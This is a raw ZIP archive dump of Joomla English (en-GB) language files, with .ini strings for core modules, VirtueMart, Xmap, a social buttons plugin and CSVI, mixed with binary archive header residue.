        2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\d{{(language/en-GB/en-GB.mod_version.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_VERSION="Joomla! Version Information" MOD_VERSION_LAYOUT_DEFAULT="Default" MOD_VERSION_XML_DESCRIPTION="This module displays the Joomla! version." PK@y>\F EE)language/en-GB/en-GB.plg_editors_none.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS_NONE="Editor - None" PLG_NONE_XML_DESCRIPTION="This loads a basic text entry field." PK@y>\B!language/en-GB/en-GB.localise.phpnuW+A\n(language/en-GB/en-GB.com_content.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTENT="Articles" COM_CONTENT_ARCHIVE_VIEW_DEFAULT_DESC="Display all archived articles." COM_CONTENT_ARCHIVE_VIEW_DEFAULT_OPTION="Default" COM_CONTENT_ARCHIVE_VIEW_DEFAULT_TITLE="Archived Articles" COM_CONTENT_ARTICLE_MANAGER="Article Manager" COM_CONTENT_ARTICLE_VIEW_DEFAULT_DESC="Display a single article." COM_CONTENT_ARTICLE_VIEW_DEFAULT_OPTION="Default" COM_CONTENT_ARTICLE_VIEW_DEFAULT_TITLE="Single Article" COM_CONTENT_ARTICLES="Articles" COM_CONTENT_CATEGORIES="Categories" COM_CONTENT_CATEGORIES_VIEW_DEFAULT_DESC="Shows a list of all the article categories within a category." COM_CONTENT_CATEGORIES_VIEW_DEFAULT_OPTION="Default" COM_CONTENT_CATEGORIES_VIEW_DEFAULT_TITLE="List All Categories" COM_CONTENT_CATEGORY_ADD_TITLE="Category Manager: Add A New Articles Category" COM_CONTENT_CATEGORY_EDIT_TITLE="Category Manager: Edit An Articles Category" COM_CONTENT_CATEGORY_VIEW_BLOG_DESC="Displays article introductions in a single or multi-column layout." COM_CONTENT_CATEGORY_VIEW_BLOG_OPTION="Blog" COM_CONTENT_CATEGORY_VIEW_BLOG_TITLE="Category Blog" COM_CONTENT_CATEGORY_VIEW_DEFAULT_DESC="Displays a list of articles in a category." COM_CONTENT_CATEGORY_VIEW_DEFAULT_OPTION="List" COM_CONTENT_CATEGORY_VIEW_DEFAULT_TITLE="Category List" COM_CONTENT_CATEGORY_VIEW_FEATURED_DESC="Show all featured articles from one or multiple categories in a single or multi-column layout." COM_CONTENT_CATEGORY_VIEW_FEATURED_OPTION="Default" COM_CONTENT_CATEGORY_VIEW_FEATURED_TITLE="Featured Articles Single Category" COM_CONTENT_FEATURED="Featured" COM_CONTENT_FEATURED_VIEW_DEFAULT_DESC="Displays article introductions in a single or multi-column layout for featured articles from all categories. " COM_CONTENT_FEATURED_VIEW_DEFAULT_OPTION="Default" COM_CONTENT_FEATURED_VIEW_DEFAULT_TITLE="Featured Articles" COM_CONTENT_FORM_VIEW_DEFAULT_DESC="Create a new article" COM_CONTENT_FORM_VIEW_DEFAULT_OPTION="Create" COM_CONTENT_FORM_VIEW_DEFAULT_TITLE="Create Article" COM_CONTENT_XML_DESCRIPTION="Article management component" PK@y>\WM$M$"language/en-GB/en-GB.com_admin.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_ADMIN="Admin - System Infos" COM_ADMIN_ALPHABETICAL_INDEX="Alphabetical Index" COM_ADMIN_CACHE_DIRECTORY="(Cache Directory)" COM_ADMIN_CLEAR_RESULTS="Clear results" COM_ADMIN_CONFIGURATION_FILE="Configuration File" COM_ADMIN_DATABASE_COLLATION="Database Collation" COM_ADMIN_DATABASE_VERSION="Database Version" COM_ADMIN_DIRECTORY="Directory" COM_ADMIN_DIRECTORY_PERMISSIONS="Directory Permissions" COM_ADMIN_DISABLED_FUNCTIONS="Disabled Functions" COM_ADMIN_DISPLAY_ERRORS="Display Errors" COM_ADMIN_FILE_UPLOADS="File Uploads" COM_ADMIN_GLOSSARY="Glossary" COM_ADMIN_GO="Go" COM_ADMIN_HELP="Joomla! Help" COM_ADMIN_HELP_COMPONENTS_BANNERS_BANNERS="Banner Manager: Banners" COM_ADMIN_HELP_COMPONENTS_BANNERS_BANNERS_EDIT="Banner Manager: Banners - New/Edit" COM_ADMIN_HELP_COMPONENTS_BANNERS_CATEGORIES="Banner Manager: Categories" COM_ADMIN_HELP_COMPONENTS_BANNERS_CATEGORIES_EDIT="Banner Manager: Categories - New/Edit" COM_ADMIN_HELP_COMPONENTS_BANNERS_CLIENTS="Banner Manager: Clients" COM_ADMIN_HELP_COMPONENTS_BANNERS_CLIENTS_EDIT="Banner Manager: Clients - New/Edit" COM_ADMIN_HELP_COMPONENTS_BANNERS_TRACKS="Banner Manager: Tracks" COM_ADMIN_HELP_COMPONENTS_CONTACTS_CONTACTS="Contact Manager: Contacts" COM_ADMIN_HELP_COMPONENTS_CONTACTS_CONTACTS_EDIT="Contact Manager: Contacts - New/Edit" COM_ADMIN_HELP_COMPONENTS_CONTACT_CATEGORIES="Contact Manager: Categories" COM_ADMIN_HELP_COMPONENTS_CONTACT_CATEGORIES_EDIT="Contact Manager: Categories - New/Edit" COM_ADMIN_HELP_COMPONENTS_CONTENT_CATEGORIES="Article Manager: Categories" COM_ADMIN_HELP_COMPONENTS_CONTENT_CATEGORIES_EDIT="Article Manager: Categories - New/Edit" COM_ADMIN_HELP_COMPONENTS_MESSAGING_INBOX="Private Messages: Inbox" COM_ADMIN_HELP_COMPONENTS_MESSAGING_READ="Private Messages: Read" COM_ADMIN_HELP_COMPONENTS_MESSAGING_WRITE="Private Messages: Write" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_CATEGORIES="News Feeds Manager: Categories" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_CATEGORIES_EDIT="News Feeds Manager: Categories - New/Edit" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_FEEDS="News Feeds Manager: Feeds" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_FEEDS_EDIT="News Feeds Manager: Feeds - New/Edit" COM_ADMIN_HELP_COMPONENTS_REDIRECT_MANAGER="Redirect Manager: Links" COM_ADMIN_HELP_COMPONENTS_REDIRECT_MANAGER_EDIT="Redirect Manager: Links - New/Edit" COM_ADMIN_HELP_COMPONENTS_SEARCH="Search Manager" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_CATEGORIES="Web Links Manager: Categories" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_CATEGORIES_EDIT="Web Links Manager: Categories - New/Edit" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_LINKS="Web Links Manager: Web Links" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_LINKS_EDIT="Web Links Manager: Web Links - New/Edit" COM_ADMIN_HELP_CONTENT_ARTICLE_MANAGER="Article Manager: Articles" COM_ADMIN_HELP_CONTENT_ARTICLE_MANAGER_EDIT="Article Manager: Articles - New/Edit" COM_ADMIN_HELP_CONTENT_FEATURED_ARTICLES="Article Manager: Featured Articles" COM_ADMIN_HELP_CONTENT_MEDIA_MANAGER="Media Manager" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_DISCOVER="Extension Manager: Discover" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_INSTALL="Extension Manager: Install" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_MANAGE="Extension Manager: Manage" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_UPDATE="Extension Manager: Update" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_WARNINGS="Extension Manager: Warnings" COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_CONTENT="Language Manager: Content Languages" COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_EDIT="Language Manager - New/Edit" COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_INSTALLED="Language Manager: Installed Languages" COM_ADMIN_HELP_EXTENSIONS_MODULE_MANAGER="Module Manager" COM_ADMIN_HELP_EXTENSIONS_MODULE_MANAGER_EDIT="Module Manager - Edit" COM_ADMIN_HELP_EXTENSIONS_PLUGIN_MANAGER="Plug-in Manager: Plug-ins" COM_ADMIN_HELP_EXTENSIONS_PLUGIN_MANAGER_EDIT="Plug-in Manager: Plug-ins - New/Edit" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES="Template Manager: Styles" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES_EDIT="Template Manager: Styles - Edit" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES="Template Manager: Templates" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT="Template Manager: Templates - Edit" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT_SOURCE="Template Manager: Source - Edit" COM_ADMIN_HELP_GLOSSARY="Glossary" COM_ADMIN_HELP_MENUS_MENU_ITEM_MANAGER="Menu Item Manager" COM_ADMIN_HELP_MENUS_MENU_ITEM_MANAGER_EDIT="Menu Item Manager - New/Edit" COM_ADMIN_HELP_MENUS_MENU_MANAGER="Menu Manager" COM_ADMIN_HELP_MENUS_MENU_MANAGER_EDIT="Menu Manager - New/Edit" COM_ADMIN_HELP_SITE_GLOBAL_CONFIGURATION="Global Configuration" COM_ADMIN_HELP_SITE_MAINTENANCE_CLEAR_CACHE="Cache Manager: Clear Cache" COM_ADMIN_HELP_SITE_MAINTENANCE_GLOBAL_CHECK-IN="Global Check-in" COM_ADMIN_HELP_SITE_MAINTENANCE_PURGE_EXPIRED_CACHE="Cache Manager: Purge Expired Cache" COM_ADMIN_HELP_SITE_SYSTEM_INFORMATION="System Information" COM_ADMIN_HELP_START_HERE="Start Here" COM_ADMIN_HELP_USERS_ACCESS_LEVELS="User Manager: Access Levels" COM_ADMIN_HELP_USERS_ACCESS_LEVELS_EDIT="User Manager: Access Levels - New/Edit" COM_ADMIN_HELP_USERS_DEBUG_USER="User Manager: Debug Users Permissions" COM_ADMIN_HELP_USERS_GROUPS="User Manager: Groups" COM_ADMIN_HELP_USERS_GROUPS_EDIT="User Manager: Groups - New/Edit" COM_ADMIN_HELP_USERS_MASS_MAIL_USERS="Mass Mail Users" COM_ADMIN_HELP_USERS_USER_MANAGER="User Manager: Users" COM_ADMIN_HELP_USERS_USER_MANAGER_EDIT="User Manager: Users - New/Edit" COM_ADMIN_ICONV_AVAILABLE="Iconv Available" COM_ADMIN_INFORMATION="System Information" COM_ADMIN_JOOMLA_VERSION="Joomla! Version" COM_ADMIN_LATEST_VERSION_CHECK="Latest Version Check" COM_ADMIN_LICENSE="License" COM_ADMIN_LOG_DIRECTORY="(Log directory)" COM_ADMIN_MAGIC_QUOTES="Magic Quotes" COM_ADMIN_MBSTRING_ENABLED="Mbstring Enabled" COM_ADMIN_NA="n/a" COM_ADMIN_OPEN_BASEDIR="Open basedir" COM_ADMIN_OUTPUT_BUFFERING="Output Buffering" COM_ADMIN_PHP_BUILT_ON="PHP Built On" COM_ADMIN_PHP_INFORMATION="PHP Information" COM_ADMIN_PHP_SETTINGS="PHP Settings" COM_ADMIN_PHP_VERSION="PHP Version" COM_ADMIN_PLATFORM_VERSION="Joomla! Platform Version" COM_ADMIN_REGISTER_GLOBALS="Register Globals" COM_ADMIN_RELEVANT_PHP_SETTINGS="Relevant PHP Settings" COM_ADMIN_SAFE_MODE="Safe Mode" COM_ADMIN_SEARCH="Search" COM_ADMIN_SESSION_AUTO_START="Session Auto Start" COM_ADMIN_SESSION_SAVE_PATH="Session Save Path" COM_ADMIN_SETTING="Setting" COM_ADMIN_SHORT_OPEN_TAGS="Short Open Tags" COM_ADMIN_START_HERE="Start here" COM_ADMIN_STATUS="Status" COM_ADMIN_SYSTEM_INFO="System Info" COM_ADMIN_SYSTEM_INFORMATION="System Information" COM_ADMIN_TEMP_DIRECTORY="(Temp directory)" COM_ADMIN_UNWRITABLE="Unwritable" COM_ADMIN_USER_ACCOUNT_DETAILS="My Profile Details" COM_ADMIN_USER_AGENT="User Agent" COM_ADMIN_USER_FIELD_BACKEND_LANGUAGE_DESC="Select the Language for the Administrator Backend interface. This will only affect this User." COM_ADMIN_USER_FIELD_BACKEND_LANGUAGE_LABEL="Backend Language" COM_ADMIN_USER_FIELD_BACKEND_TEMPLATE_DESC="Select the template style for the Administrator Backend interface. This will only affect this User." COM_ADMIN_USER_FIELD_BACKEND_TEMPLATE_LABEL="Backend Template Style" COM_ADMIN_USER_FIELD_EDITOR_DESC="User Editor" COM_ADMIN_USER_FIELD_EDITOR_LABEL="Editor" COM_ADMIN_USER_FIELD_EMAIL_DESC="Enter an email for the user" COM_ADMIN_USER_FIELD_FRONTEND_LANGUAGE_DESC="Select the Language for the frontend interface. This will only affect this User." COM_ADMIN_USER_FIELD_FRONTEND_LANGUAGE_LABEL="Frontend Language" COM_ADMIN_USER_FIELD_HELPSITE_DESC="Help site for this user" COM_ADMIN_USER_FIELD_HELPSITE_LABEL="Help Site" COM_ADMIN_USER_FIELD_LASTVISIT_DESC="Last Visit Date" COM_ADMIN_USER_FIELD_LASTVISIT_LABEL="Last Visit Date" COM_ADMIN_USER_FIELD_NAME_DESC="Enter the name of the user" COM_ADMIN_USER_FIELD_NOCHANGE_USERNAME_DESC="If you want to change your Login Name, please contact a site administrator" COM_ADMIN_USER_FIELD_PASSWORD2_DESC="Confirm the user's password" COM_ADMIN_USER_FIELD_PASSWORD2_LABEL="Confirm Password" COM_ADMIN_USER_FIELD_PASSWORD_DESC="Enter the password for the user" COM_ADMIN_USER_FIELD_REGISTERDATE_DESC="Registration Date" COM_ADMIN_USER_FIELD_REGISTERDATE_LABEL="Registration Date" COM_ADMIN_USER_FIELD_TIMEZONE_DESC="Time zone for this user" COM_ADMIN_USER_FIELD_TIMEZONE_LABEL="Time Zone" COM_ADMIN_USER_FIELD_USERNAME_DESC="Enter the login name (User name) for the user." COM_ADMIN_USER_FIELD_USERNAME_LABEL="Login Name" COM_ADMIN_USER_HEADING_NAME="Name" COM_ADMIN_USER_SETTINGS_FIELDSET_LABEL="Basic Settings" COM_ADMIN_VALUE="Value" COM_ADMIN_VIEW="View" COM_ADMIN_VIEW_PROFILE_TITLE="My Profile" COM_ADMIN_WEBSERVER_TO_PHP_INTERFACE="WebServer to PHP Interface" COM_ADMIN_WEB_SERVER="Web Server" COM_ADMIN_WRITABLE="Writable" COM_ADMIN_XML_DESCRIPTION="Administration system infos component" COM_ADMIN_XML_ENABLED="XML Enabled" COM_ADMIN_ZIP_ENABLED="Native ZIP Enabled" COM_ADMIN_ZLIB_ENABLED="Zlib Enabled" PK@y>\@@"language/en-GB/en-GB.mod_title.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_TITLE="Title" MOD_TITLE_XML_DESCRIPTION="This Module shows the Toolbar Component Title" PK@y>\7m$N..-language/en-GB/en-GB.plg_xmap_com_sobipro.ininuW+AXMAP_SETTING_SHOW_ENTRIES_LABEL="Show entries?" XMAP_SETTING_SHOW_ENTRIES_DESC="Should we include entries into the site map?" XMAP_SETTING_MAX_ENTRIES_LABEL="Max entries per cat." XMAP_SETTING_MAX_ENTRIES_DESC="Max number of entries per category to include on sitemap (Leave empty for no limit)" ; Generic Extension settings strings COM_PLUGINS_BASIC_FIELDSET_LABEL="Basic Settings" COM_PLUGINS_XML_FIELDSET_LABEL="XML Sitemap Settings" COM_PLUGINS_NEWS_FIELDSET_LABEL="News Sitemap Settings" XMAP_OPTION_USE_PARENT_MENU="Use Parent Menu Settings" XMAP_OPTION_NEVER="Never" XMAP_OPTION_ALWAYS="Always" XMAP_OPTION_XML_ONLY="In XML Sitemap Only" XMAP_OPTION_HTML_ONLY="In HTML Sitemap Only" XMAP_OPTION_WEEKLY="Weekly" XMAP_OPTION_DAILY="Daily" XMAP_OPTION_MONTHLY="Monthly" XMAP_OPTION_YEARLY="Yearly" XMAP_OPTION_HOURLY="Hourly" ;Added by JoomlaCommunity.eu XMAP_SOBIPRO_NEWEST_THAN_LABEL="Newest than" XMAP_SOBIPRO_NEWEST_THAN_DESC="Only show entries newest than this number of days (Leave it blank to ignore this option)" XMAP_OPTION_ENTRIES_ORDER="Entries Order" XMAP_OPTION_ENTRIES_ORDER_DESC="How should the items be ordered in the sitemap?" XMAP_OPTION_DEFAULT="Default" XMAP_OPTION_VISITS="Number of visits" XMAP_OPTION_PUBLISH="Publish up date" XMAP_OPTION_MOD="Last modification date" XMAP_SETTING_CATEGORIES_ORDER_DIR_LABEL="Order direction" XMAP_SETTING_CATEGORIES_ORDER_DIR_DESC="How should the items be ordered in the sitemap?" XMAP_SETTING_OPTION_ORDERING_DIR_ASC="Ascendant" XMAP_SETTING_OPTION_ORDERING_DIR_DESC="Descendant" XMAP_SOBIPRO_CATEGORY_PRIORITY_LABEL="Category Priority" XMAP_SOBIPRO_CATEGORY_PRIORITY_DESC="Set the priority for the categories" XMAP_SOBIPRO_CATEGORY_CHANGEFREQ_LABEL="Category Change frequency" XMAP_SOBIPRO_CATEGORY_CHANGEFREQ_DESC="Set the chage frequency for the categories" XMAP_SOBIPRO_ENTRIES_PRIORITY_LABEL="Entries Priority" XMAP_SOBIPRO_ENTRIES_PRIORITY_DESC="Set the priority for the entries" XMAP_SOBIPRO_ENTRIES_CHANGEFREQ_LABEL="Entries Change frequency" XMAP_SOBIPRO_ENTRIES_CHANGEFREQ_DESC="Set the chage frequency for the entries" PK@y>\`;language/en-GB/en-GB.plg_vmpayment_moneybookers_sft.sys.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author ; @package VMPayment ; @subpackage VirtueMart payment Moneybookers VMPAYMENT_MONEYBOOKERS="Vm Payment plugin Moneybookers Sofort Banking"PK@y>\ZZ3language/en-GB/en-GB.plg_editors_codemirror.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CODEMIRROR_XML_DESCRIPTION="This plugin loads the CodeMirror editor." PLG_EDITORS_CODEMIRROR="Editor - CodeMirror"PK@y>\.K$$,language/en-GB/en-GB.com_virtuemart.menu.ininuW+A; VirtueMart Project ; Copyright (C) 2008 VirtueMart, 2009 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; System VIRTUEMART="VirtueMart" COM_VIRTUEMART="VirtueMart"PK@y>\N\B r__0language/en-GB/en-GB.plg_quickicon_eosnotify.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_EOSNOTIFY="End of Support Notifier" PLG_EOSNOTIFY_SUPPORT_ENDING="Joomla! 2.5 Support Is Ending On December 31, 2014!" PLG_EOSNOTIFY_SUPPORT_ENDED="Joomla! 2.5 Support Ended On December 31, 2014!" PLG_EOSNOTIFY_CLICK_FOR_INFORMATION_WITH_LINK="%s Click Here for More Information." PK@y>\!-<5language/en-GB/en-GB.plg_editors-xtd_readmore.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_READMORE="Button - Readmore" PLG_READMORE_XML_DESCRIPTION="Enables a button which allows you to easily insert the Read more... link into an Article."PK@y>\+002language/en-GB/en-GB.plg_content_socialbuttons.ininuW+A; @package Social Buttons ; @subpackage plg_socialbuttons ; @copyright Copyright (C) 2013 Elite Developers All rights reserved. ; @license GNU/GPL v3 http://www.gnu.org/licenses/gpl.html PLG_SOCIALBUTTONS_DESCRIPTIONS = "
        Social Buttons

         

        - Access Module: Extensions >> Plug-in Manager >> Social Buttons
        - Configure Parameters
        - Publish/Enable
        - Save.
        ]]>" PLG_SOCIALBUTTONS_OB ="Basic options" PLG_SOCIALBUTTONS_SHOW_FRONT = "Show on Featured page" PLG_SOCIALBUTTONS_SHOW_FRONT_DESC = "Show buttons on the front page and category blog pages" PLG_SOCIALBUTTONS_POSITION = "Position" PLG_SOCIALBUTTONS_POSITION_DESC = "Show plugin in position " PLG_SOCIALBUTTONS_ABOVE = "Top" PLG_SOCIALBUTTONS_BELOW = "Bottom" PLG_SOCIALBUTTONS_ALIGN = "Align" PLG_SOCIALBUTTONS_ALIGN_DESC = "Align" PLG_SOCIALBUTTONS_RIGHT = "Right" PLG_SOCIALBUTTONS_LEFT = "Left" PLG_SOCIALBUTTONS_EXCLUDE_CATEGORIE = "Exclude categories" PLG_SOCIALBUTTONS_EXCLUDE_CATEGORIE_DESC = "Select one or multiple Categories, by holding CTRL" PLG_SOCIALBUTTONS_EXCLUDE_ARTICLE_ID = "Exclude article id" PLG_SOCIALBUTTONS_EXCLUDE_ARTICLE_ID_DESC = "Add articles id seperated by comma (,)" PLG_SOCIALBUTTONS_FB_SETTINGS ="Facebook settings" PLG_SOCIALBUTTONS_FB_SHOW_BUTTON_LIKE = "Show Facebook button" PLG_SOCIALBUTTONS_FB_SHOW_BUTTON_LIKE_DESC = "Show or hide Facebook like button." PLG_SOCIALBUTTONS_YES = "Yes" PLG_SOCIALBUTTONS_NO = "No" PLG_SOCIALBUTTONS_FB_TYPE_LIKE = "Like Mode" PLG_SOCIALBUTTONS_FB_TYPE_LIKE_DESC = "The type of your Facebook like button." PLG_SOCIALBUTTONS_TYPE_HORIZONTAL = "Horizontal" PLG_SOCIALBUTTONS_TYPE_VERTICAL = "Vertical" PLG_SOCIALBUTTONS_TYPE_NONE = "None" PLG_SOCIALBUTTONS_TYPE_COUNTER ="Without counter" PLG_SOCIALBUTTONS_FB_WIDTH = "Width" PLG_SOCIALBUTTONS_FB_WIDTH_DESC = "Facebook Like button Width" PLG_SOCIALBUTTONS_FB_ACTION = "Facebook button Text" PLG_SOCIALBUTTONS_FB_ACTION_DESC = "Choose button text" PLG_SOCIALBUTTONS_FB_LIKE = "Like" PLG_SOCIALBUTTONS_FB_RECOMMEND = "Recommend" PLG_SOCIALBUTTONS_FB_COLOR = "Color Scheme" PLG_SOCIALBUTTONS_FB_COLOR_DESC = "Color scheme buttons Facebook Like" PLG_SOCIALBUTTONS_FB_LIGHT = "Light" PLG_SOCIALBUTTONS_FB_DARK = "Dark" PLG_SOCIALBUTTONS_FB_FONT = "Facebook Like Font" PLG_SOCIALBUTTONS_FB_FONT_DESC = "Button font" PLG_SOCIALBUTTONS_FB_LANGUAGE = "Language" PLG_SOCIALBUTTONS_FB_LANGUAGE_DESC = "Language button Facebook Like" PLG_SOCIALBUTTONS_TWT_SETTINGS ="Twitter settings" PLG_SOCIALBUTTONS_TWT_SHOW_BUTTON_TWITTER = "Show Twitter button" PLG_SOCIALBUTTONS_TWT_SHOW_BUTTON_TWITTER_DESC = "Show or hide Twitter button." PLG_SOCIALBUTTONS_TWT_TYPE_TWITTER = "Twitter Mode" PLG_SOCIALBUTTONS_TWT_TYPE_TWITTER_DESC = "Type of your Twitter button." PLG_SOCIALBUTTONS_TWT_LANGUAGE_TWITTER = "Twitter Language" PLG_SOCIALBUTTONS_TWT_LANGUAGE_TWITTER_DESC = "You can choose a language for the buttons Twitter" PLG_SOCIALBUTTONS_TWT_LANGUAGE_EN = "English" PLG_SOCIALBUTTONS_TWT_LANGUAGE_RU = "Russian" PLG_SOCIALBUTTONS_TWT_LANGUAGE_ES = "Spanish" PLG_SOCIALBUTTONS_TWT_LANGUAGE_IT = "Italian" PLG_SOCIALBUTTONS_TWT_LANGUAGE_KO = "Korean" PLG_SOCIALBUTTONS_TWT_LANGUAGE_DE = "German" PLG_SOCIALBUTTONS_TWT_LANGUAGE_PT = "Portuguese" PLG_SOCIALBUTTONS_TWT_LANGUAGE_TR = "Turkish" PLG_SOCIALBUTTONS_TWT_LANGUAGE_FR = "French" PLG_SOCIALBUTTONS_TWT_LANGUAGE_JA = "Japanese" PLG_SOCIALBUTTONS_G1_SETTINGS = "Google +1 Settings" PLG_SOCIALBUTTONS_G1_SHOW_BUTTON_GOOGLE = "Show Google +1 button" PLG_SOCIALBUTTONS_G1_SHOW_BUTTON_GOOGLE_DESC = "Show or hide Google +1 button." PLG_SOCIALBUTTONS_G1_TYPE_GOOGLE = "Google +1 Mode" PLG_SOCIALBUTTONS_G1_TYPE_GOOGLE_DESC = "The type of your Google +1 button." PLG_SOCIALBUTTONS_G1_MEDIUM = "Medium (20px)" PLG_SOCIALBUTTONS_G1_LARGE = "Tall (Vertical) (60px)" PLG_SOCIALBUTTONS_G1_SMALL = "Small (15px)" PLG_SOCIALBUTTONS_G1_STANDAR = "Standart (24px)" PLG_SOCIALBUTTONS_G1_LANGUAGE_GOOGLE = "Plus One Language" PLG_SOCIALBUTTONS_G1_LANGUAGE_GOOGLE_DESC = "Choose a Plus One language." PLG_SOCIALBUTTONS_LKN_SETTINGS = "Linkedin settings" PLG_SOCIALBUTTONS_LKN_SHOW_BUTTON_LINKEDIN = "Show LinkedIn" PLG_SOCIALBUTTONS_LKN_SHOW_BUTTON_LINKEDIN_DESC = "Show or hide LinkedIn button." PLG_SOCIALBUTTONS_LKN_TYPE_LINKEDIN = "LinkedIn Mode" PLG_SOCIALBUTTONS_LKN_TYPE_LINKEDIN_DESC = "The type of your LinkedIn button" PLG_SOCIALBUTTONS_TW_WIDTH = "Width" PLG_SOCIALBUTTONS_G1_WIDTH = "Width" PLG_SOCIALBUTTONS_LI_WIDTH = "Width" PLG_SOCIALBUTTONS_TW_WIDTH_DESC = "Twitter button Width" PLG_SOCIALBUTTONS_G1_WIDTH_DESC = "Google Plus button Width" PLG_SOCIALBUTTONS_LI_WIDTH_DESC = "LinkedIn button Width"PK@y>\S3vv(language/en-GB/en-GB.mod_submenu.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_SUBMENU="Admin sub-Menu" MOD_SUBMENU_XML_DESCRIPTION="This Module shows the sub-Menu Navigation Module" MOD_SUBMENU_LAYOUT_DEFAULT="Default" PK@y>\:language/en-GB/en-GB.plg_quickicon_extensionupdate.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_EXTENSIONUPDATE="Quick Icon - Joomla! Extensions Updates Notification" PLG_QUICKICON_EXTENSIONUPDATE_XML_DESCRIPTION="Checks for updates of your installed third-party extensions and notifies you when you visit the Control Panel page" PK@y>\&C%language/en-GB/en-GB.com_csvi.sys.ininuW+A; ; CSVI English language file ; ; @package CSVI ; @subpackage Language ; @author Roland Dalmulder ; @link http://www.csvimproved.com ; @copyright Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved. ; @version $Id: en-GB.com_csvi.sys.ini 2479 2013-08-01 08:16:46Z Roland $ ; ; manifest.xml COM_CSVI="CSVI Free" COM_CSVI_XML_DESCRIPTION="CSVI: The import and export tool for Joomla" COM_CSVI_DASHBOARD="Dashboard" COM_CSVI_PROCESS="Process" COM_CSVI_REPLACEMENTS="Replacements" COM_CSVI_LOG="Log" COM_CSVI_MAINTENANCE="Maintenance" COM_CSVI_AVAILABLEFIELDS="Available Fields" COM_CSVI_SETTINGS="Settings" COM_CSVI_TEMPLATETYPES="Tasks" COM_CSVI_ABOUT="About" ; script.php COM_CSVI_UNINSTALL_TEXT="CSVI has been uninstalled" COM_CSVI_UPDATE_TEXT="CSVI has been updated" COM_CSVI_PHP_VERSION_ERROR="You are running PHP version %s, CSVI requires at least PHP version 5.2. Installation cannot continue." COM_CSVI_JOOMLA_VERSION_ERROR="You are running Joomla version %s, CSVI requires at least Joomla version 2.5. Installation cannot continue." COM_CSVI_CONTINUE_SETUP=" >>> Click here to continue your CSVI Free installation <<<" ; Menu entries CSVI="CSVI Free" COM_CSVI_EXPORT_FRONTEND="Export front-end" COM_CSVI_EXPORT_FRONTEND_DESC_MENU="Displays a chosen export template on the front-end" COM_CSVI_SELECT_TEMPLATE="Select template" COM_CSVI_SELECT_TEMPLATE_DESC="Select which template to export on the front-end"PK@y>\S.language/en-GB/en-GB.plg_system_logout.sys.ininuW+A; @package Joomla ; @subpackage plgSystemLogout ; @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_SYSTEM_LOGOUT_XML_DESCRIPTION="The system logout plug-in enables Joomla to redirect the user to the home page if he chooses to logout while he is on a protected access page." PLG_SYSTEM_LOGOUT="System - Logout" PK@y>\^ {<<&language/en-GB/en-GB.com_media.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights 